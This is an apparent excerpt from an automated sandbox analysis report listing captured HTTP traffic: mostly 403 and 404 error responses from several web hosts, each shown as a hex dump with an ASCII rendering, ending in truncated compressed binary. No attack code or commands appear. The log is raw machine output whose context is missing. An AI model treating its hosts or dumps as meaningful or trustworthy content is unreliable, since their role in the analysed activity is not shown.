3c 73 74 79 6c 65 3e 2e 63 75 72 72 65 6e 74 2d 75 72 6c 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0a 20 20 20 20 20 20 20 20 7d 3c 2f 73 74 79 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3a 72 6f 6f 74 20 7b 0a 20 20 20 20 2d 2d 6d 61 69 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 20 23 34 45 34 45 34 45 3b 0a 20 20 20 20 2d 2d 73 65 63 6f 6e 64 61 72 79 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 20 23 39 35 39 35 39 35 3b 0a 0a 20 20 20 20 2d 2d 69 6c 6c 75 73 74 72 61 74 69 6f 6e 2d 6d 61 69 6e 2d 63 6f 6c 6f 72 3a 20 23 43 33 43 33 43 43 3b 0a 0a 20 20 20 20 2d 2d 62 74 6e 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 2e 32 35 72 65 6d 3b 0a 0a 20 20 20 20 2d 2d 70 72 69 6d 61 72 79 2d 62 74 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 43 33 43 33 43 43 3b 0a 20 20 20 20 2d 2d 70 72 69 6d 61 72 79 2d 62 74 6e 2d 63 6f 6c 6f 72 3a 20 23 46 43 46 43 46 43 3b 0a 0a 20 20 20 20 2d 2d 73 65 63 6f 6e 64 61 72 79 2d 62 74 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 43 46 43 46 43 3b 0a 20 20 20 20 2d 2d 73 65 63 6f 6e 64 61 72 79 2d 62 74 6e 2d 63 6f 6c 6f 72 3a 20 23 43 33 43 33 43 43 3b 0a 0a 20 20 20 20 2d 2d 6d 61 69 6e 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 3a 20 23 43 33 43 33 43 43 3b 0a 7d 0a 0a 2a 20 7b 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 548Content-Type: text/htmlServer: PepyakaX-Wix-Request-Id: 1716805626.077117947411910893X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Mon, 27 May 2024 10:27:06 GMTX-Served-By: cache-iad-kiad7000099-IADX-Cache: MISSX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLk1Uxi5aVwrmRyfWZ8T7SgAMbwluI1yUDJty9McxOlfYVia: 1.1 googleglb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 548Content-Type: text/htmlServer: PepyakaX-Wix-Request-Id: 1716805629.034119434365824675X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Mon, 27 May 2024 10:27:09 GMTX-Served-By: cache-iad-kjyo7100104-IADX-Cache: MISSX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLkiHzpTYSDRA7u88Ic3Fde4MbwluI1yUDJty9McxOlfYVia: 1.1 googleglb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 548Content-Type: text/htmlServer: PepyakaX-Wix-Request-Id: 1716805631.598117452235112260X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Mon, 27 May 2024 10:27:11 GMTX-Served-By: cache-iad-kiad7000077-IADX-Cache: MISSX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLucaPCRnkaJkWJZne822xega0sM5c8dDUFHeNaFq0qDuVia: 1.1 googleglb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 10:28:34 GMTContent-Type: text/plain; charset=utf-8Content-Length: 9Connection: closeAccess-Control-Allow-Origin: http://www.drednents.esVary: Origin, Accept-EncodingAccess-Control-Allow-Credentials: trueX-XSS-Protection: 1; mode=blockX-Frame-Options: DENYX-Download-Options: noopenX-Content-Type-Options: nosniffETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OhIcGMmR01kkjvrqYCW4VV7TVvE5WPaaSUblrZpvWTnx75%2BYiU886K695Pq7AymwDUV8l%2Fda3KVOpM%2FVdyLssHfBklwJUy80Z3xD4a3u%2FpCITrFKKl8Fsvm89oDgJ1BmNPX2"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a551a22e6ac440-EWRalt-svc: h3=":443"; ma=86400Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 10:28:37 GMTContent-Type: text/plain; charset=utf-8Content-Length: 9Connection: closeAccess-Control-Allow-Origin: http://www.drednents.esVary: Origin, Accept-EncodingAccess-Control-Allow-Credentials: trueX-XSS-Protection: 1; mode=blockX-Frame-Options: DENYX-Download-Options: noopenX-Content-Type-Options: nosniffETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jnh5c%2FHwAo6dFHY4CvECsCLj72s7NOt1qSK547%2BCdamrtz%2BNQlwJxS%2BbggShqLblaPLYNrcF1lhRA68r3O0q8kzOhzZpMAhpCGPf7uKXmz92Syk0QpiN1Eevb4VgElNPsC4J"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a551b43941c3ff-EWRalt-svc: h3=":443"; ma=86400Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 10:28:40 GMTContent-Type: text/plain; charset=utf-8Content-Length: 9Connection: closeAccess-Control-Allow-Origin: http://www.drednents.esVary: Origin, Accept-EncodingAccess-Control-Allow-Credentials: trueX-XSS-Protection: 1; mode=blockX-Frame-Options: DENYX-Download-Options: noopenX-Content-Type-Options: nosniffETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i5xB%2B3GYEwb3Ba0Qfk7uJBm778wNTLDE%2FSypKun98MTOgyrHtYxafqkMxEuiifOljZ6bKTka5GU6jYovVif2IOH1VZwrzL1h%2B9H9Kd6bcn2%2BsGYhCYRtUsMaoX1Ha%2FkaVs4j"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a551c3f84e42e1-EWRalt-svc: h3=":443"; ma=86400Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 10:28:42 GMTContent-Type: text/plain; charset=utf-8Content-Length: 9Connection: closeVary: Origin, Accept-EncodingAccess-Control-Allow-Credentials: trueX-XSS-Protection: 1; mode=blockX-Frame-Options: DENYX-Download-Options: noopenX-Content-Type-Options: nosniffETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FiPQzWNjWjLh6eNZ3w48BGVu6%2FpbXKJzPDnpo6OOGJF2sQwribnxRIaiEZtmte3pi5DpKY1f8QQK4vpCxjHfhQqq6Kg46lT7oytk2yvhhL2tiwYPbVP8QMtB46jHMxazpMuR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a551d3cb8a4204-EWRalt-svc: h3=":443"; ma=86400Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 10:29:17 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 10:29:19 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 10:29:22 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 10:29:25 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://omilux.vn/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Mon, 27 May 2024 10:29:32 GMTserver: LiteSpeedData Raw: 63 30 39 0d 0a 60 28 02 80 fc a9 99 7e 9d 6d 2a 08 9a 48 a4 03 90 20 75 53 a6 8f 1c c7 b5 da f1 40 c0 23 89 5d 12 40 00 50 a2 22 b3 fe d3 ff a2 4c f5 af a3 4a 4a 57 95 ff 6f ae 7c fe ea 2a 2b 5c 95 2a 5b f3 ff 4c 0e 93 23 84 81 6c 2e bb 07 4c d9 2d 11 58 36 02 80 5d 95 ac 93 7d 8c 59 37 e7 bf 01 82 93 ec 4a 53 8f 12 60 7a b2 ce f5 67 bf 55 15 fa e8 3d b4 43 77 4f d0 e3 26 74 6d 6b 56 53 4a 7c 52 54 be 1e 05 3b d4 1a 2e 95 ae a9 57 01 90 36 f4 de e3 27 68 66 33 8e e0 ba 6f 37 d4 36 21 aa 03 b0 f8 9e c4 2f 27 d1 47 ef c5 77 4f 1e 4f 28 7d c2 ac 1e da 02 e7 a2 f1 8b af 4b b2 a6 68 b8 f3 10 4a 1c b6 79 af d8 38 eb 4c a5 5a 28 48 7e 17 75 67 eb c4 b8 3a 1d 2a 9d 66 19 a6 6b 4a d7 47 2e 1e 8e 17 65 3a d5 f6 43 72 d2 e9 d0 b5 ce 8a c4 36 d6 d6 e4 9b 37 1e fb ea 02 ec 9f cc 05 70 b0 26 74 6d 7c 6d 42 d7 26 7e e1 ca e7 bc 03 54 22 43 25 b8 47 a4 87 a3 d0 57 76 38 a6 64 7e ef e7 f1 18 47 d2 88 be 03 1d 92 7f 5a 79 af 6d 77 02 37 8f 09 3f f9 6d 1b 73 67 8e 26 f8 f9 9c 25 dd e6 da 74 44 40 30 41 b5 e7 b5 36 47 81 8f 26 15 1a 46 53 f1 32 f4 ed ca 80 d7 8c a0 c5 fc 57 a7 5e f0 16 ca 8c c4 7e ba 27 0e 1f 33 a1 b4 66 02 08 67 af af 3c 32 36 a8 4e fd 0a 12 9d 55 68 56 d1 f2 08 3f 19 ee 03 fa e6 